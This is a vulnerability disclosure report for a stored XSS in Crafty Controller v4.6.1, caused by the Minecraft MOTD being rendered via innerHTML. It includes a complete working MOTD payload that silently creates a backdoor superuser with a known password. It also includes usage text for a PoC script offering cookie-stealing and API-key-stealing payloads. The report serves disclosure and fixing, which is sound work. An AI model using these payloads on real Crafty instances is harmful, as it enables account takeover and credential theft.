Security: Stored XSS via Minecraft Server's MOTD

This one has been around a while, and could have a fairly wide-spread impact.

Quick Information

  • Operating System: Any (Tested on Docker & Ubuntu)
  • Install Type: Any (Test on Docker & Ubuntu)
  • Crafty Version: v4.6.1

What Happened?

The MOTD of a running Minecraft server is retrieved via parsing the response to an mc_ping/bedrock_ping packet, and displayed alongside the server status (including on the public /status endpoint). It is unsafely added to the page by setting the .innerHTML attribute on a HTML element, meaning it functions as a stored XSS vector. The code responsible is in motd.js.

It is fairly trivial to use this XSS vector to make a POST request to the /api/v2/users/ endpoint to create a new user, which will succeed if the page is viewed by a user who both has permissions to create new users and has a valid browser session for the Crafty instance. This effectively enables the creation of a "backdoor" account that can have full superuser permissions. The PoC I provide here achieves this.

Impact of the issue

I see 2 potential exploitation scenarios:

  1. A malicious Minecraft server plugin author, or server member with "op" privileges, decides to set the MOTD of a server they control to a malicious payload, then waits for the infected server status to be viewed by a Crafty user with sufficient privileges.
  2. A user who has the ability to edit the server.properties file for one or more Crafty-controlled servers wishes to escalate their privileges to superuser, so edits the file to achieve this.

I think scenario 1 is potentially more severe, given the history around Minecraft server plugins - if a popular plugin is made malicious in this manner, it could impact multiple Crafty users. The plugin author only needs to wait and hope that the infected server's status is viewed through Crafty by a privileged user.

Expected result

Untrusted/external inputs should never directly be used in attributes like .innerHTML. At a minimum, .innerText should be preferred wherever possible. Given the additional & custom MOTD code/style parsing this could be slightly painful to implement. If there is no way to apply CSS styling separately from the parsed text content, consider using a sanitization library like DOMPurify to restrict the impact of XSS in these scenarios.

Steps to reproduce

Via the GUI/interactively:

  1. Create or access a Minecraft server you have sufficient permissions to edit the server.properties file on, and set the motd= line to the following payload via Crafty's file editing UI:
motd=rozza_XSS_<img src\='x' onerror\='fetch("/api/v2/users/",{method\:"POST",body\:JSON.stringify({"username"\:"rozza_xss_user","email"\:"","lang"\:"en_EN","theme"\:"default","manager"\:0,"enabled"\:true,"superuser"\:true,"hints"\:true,"roles"\:[],"permissions"\:[{"name"\:"SERVER_CREATION","quantity"\:-1,"enabled"\:false},{"name"\:"USER_CONFIG","quantity"\:-1,"enabled"\:false},{"name"\:"ROLES_CONFIG","quantity"\:-1,"enabled"\:false}],"password"\:"rozza_was_here"})})'/>
  1. Save the server.properties file and restart the Minecraft server
  2. As an authenticated user with USER_CREATE or superuser permissions, access any page that displays the server's status (/panel/server_detail?id=$SERVER_ID, or /status). You should see the MOTD displayed as rozza_XSS_, and in the background your browser has just created a new superuser called rozza_xss_user
  3. View the Crafty panel's users, or login as rozza_xss_user (password: rozza_was_here) to verify exploitation

Via a python script:

This PoC requires the following:

  1. python3 and the httpx and urllib3 libraries (python3 -m pip install urllib3 httpx)
  2. A Crafty API key that has "FILE" permissions/the ability to edit a target server's server.properties file - this is slightly convoluted as currently the v2 API doesn't support the file endpoints, and access to individual servers is validated via group roles. For my PoC demo video I created a role that had FILE access on the target server, and added the user that owned the API key as a member of that role. A superuser/ALL_ACCESS API key would also work.
  3. The server id of that target server

It has a few different payloads for testing/demonstration. It doesn't do the server restart/reload as that would not be needed in attack scenario 1.

You can view/review the PoC here: motd_xss_poc.py

Usage details:

`motd_xss_poc.py` Usage
usage: motd_xss_poc.py [-h] [--url URL] [--api-key API_KEY] [--server-id SERVER_ID] [--payload {detect,cookie_steal,create_superuser,steal_api_keys,server_command}] [--custom CUSTOM] [--identifier IDENTIFIER]
                       [--list-payloads] [--restore] [--restore-motd RESTORE_MOTD]

Stored XSS via MOTD - PoC for Crafty Controller 4

options:
  -h, --help            show this help message and exit
  --url URL             Crafty Controller base URL (e.g., https://localhost:8443)
  --api-key API_KEY     API key with file edit permissions
  --server-id SERVER_ID
                        Target server UUID
  --payload, -p {detect,cookie_steal,create_superuser,steal_api_keys,server_command}
                        Payload type to use (default: detect)
  --custom, -c CUSTOM   Custom XSS payload to inject
  --identifier, -i IDENTIFIER
                        Identifier prefix for the MOTD (default: rozza_XSS_)
  --list-payloads       List available XSS payloads
  --restore             Restore clean MOTD (cleanup after testing)
  --restore-motd RESTORE_MOTD
                        MOTD value to restore (default: "A Minecraft Server")

Examples:
  # List available payloads
  python motd_xss_poc.py --list-payloads

  # Run with detection payload (simple alert)
  python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID>

  # Run with superuser creation payload
  python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --payload create_superuser

  # Run with custom payload
  python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --custom "<script>alert('xss')</script>"

  # Restore clean MOTD after testing
  python motd_xss_poc.py --url https://localhost:8443 --api-key <KEY> --server-id <UUID> --restore

Demo Video

For reference, as the MOTD is live-updated via Websockets, if it was set or updated on the Minecraft side (via commands or a server plugin), then simply having a page that displays Crafty server statuses is enough to trigger the XSS to executed. Even if it's open in another tab etc. I make it as clear as possible in my PoC video by navigating to the status pages explicitly.

Priority/Severity

  • High (anything that impacts the normal user flow or blocks app usage)
  • Medium (anything that negatively affects the user experience)
  • Low (anything else e.g., typos, missing icons/translations, layout/formatting issues, etc.)

Given this XSS is exploitable purely from the context of a Minecraft server, requiring no explicit Crafty permissions, just control of the server MOTD, I suspect it is more severe than an XSS that is only exploitable from within Crafty itself.

Edited by Rozza